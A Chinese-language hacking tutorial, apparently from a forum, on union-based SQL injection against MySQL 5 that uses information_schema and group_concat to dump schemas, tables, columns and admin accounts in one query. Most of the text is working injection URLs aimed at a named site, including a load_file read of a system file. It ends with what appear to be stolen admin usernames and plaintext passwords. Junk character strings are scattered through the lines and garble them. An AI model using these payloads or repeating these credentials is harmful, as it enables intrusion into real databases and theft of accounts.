此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
4 t4 Y6 g5 W, o% O c3 R但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
/ n/ A( y: |9 d. S: d0 t
5 P' q# y# V& @/ \5 r- V7 B" t6 P& T: k
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
/ a+ D. ~, c: y7 @ q( p, ~
6 x. [4 v# Y# r2 C; T7 w, {缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
+ Q. y* l; v5 v3 i
# @+ P8 p+ r: z1 n下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示, G7 Y8 \: }& ]* Z. s, M
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
3 X# }) l. e( I4 [8 M6 X8 _- q) J( j+ s+ f/ d+ w, W0 S0 l
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,172 u' q+ A; O- |% F
% r2 ]0 C8 d# ?5 s
读出所有库:0 O9 G# o0 U; V! S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
% p5 C+ K4 c3 b. L& m
6 J7 l6 m: f9 J% k* s3 Q# O+ \8 j1 V* x
& j0 L" {9 E7 e8 C% r读出所有表:4 m* I6 K& k8 D4 A3 m1 x
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()) v) B, F$ O" w% {4 x4 \3 V
5 \* r) v* h) w; I
读出所有表字段:
) {: Q3 u/ \9 s( Y+ J: J& P9 I, `http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
7 U; m# Z+ ] \*/ (97,100,109,105,110)为admin的ascii码 依次类推+ F! j! M8 b# Q' j) {5 P
" E0 H. v/ z a
读出所有表字段里的内容:
3 b; A1 `$ p: j: m! i& x& hhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
2 M+ ? K( J( F( |+ B6 h7 N* L) Q' b, T4 ~0 D
+ V( ]6 X% g' z* L6 Y7 z4 \
8 S) V/ p+ N! {
5 P7 f: Y6 ]7 i3 f) P. P! z: A) u: F' ?
6 p0 }& y1 p! l* |/ ^1 k' Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23" X0 C: n* Z- S
/ U" u3 K) I% f% s! I6 z# |' x9 n4 N3 U
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23* R& r0 m# G/ m
' h: x' e% @2 [) h
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
3 E0 x0 K2 @5 [( V- t: H1 o0 Z4 u/ W$ ~ S2 L& S: I; o
8 H$ D% e+ \6 U9 C
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
: X+ O D, G- m* ^( `& A3 B
% Z! ^& e$ f4 M% X1 @( s8 }
; T5 y* \, ^. Q webmaster:dzb521123,simlab:simadmin20043233
' b! ~" V m# Y) C |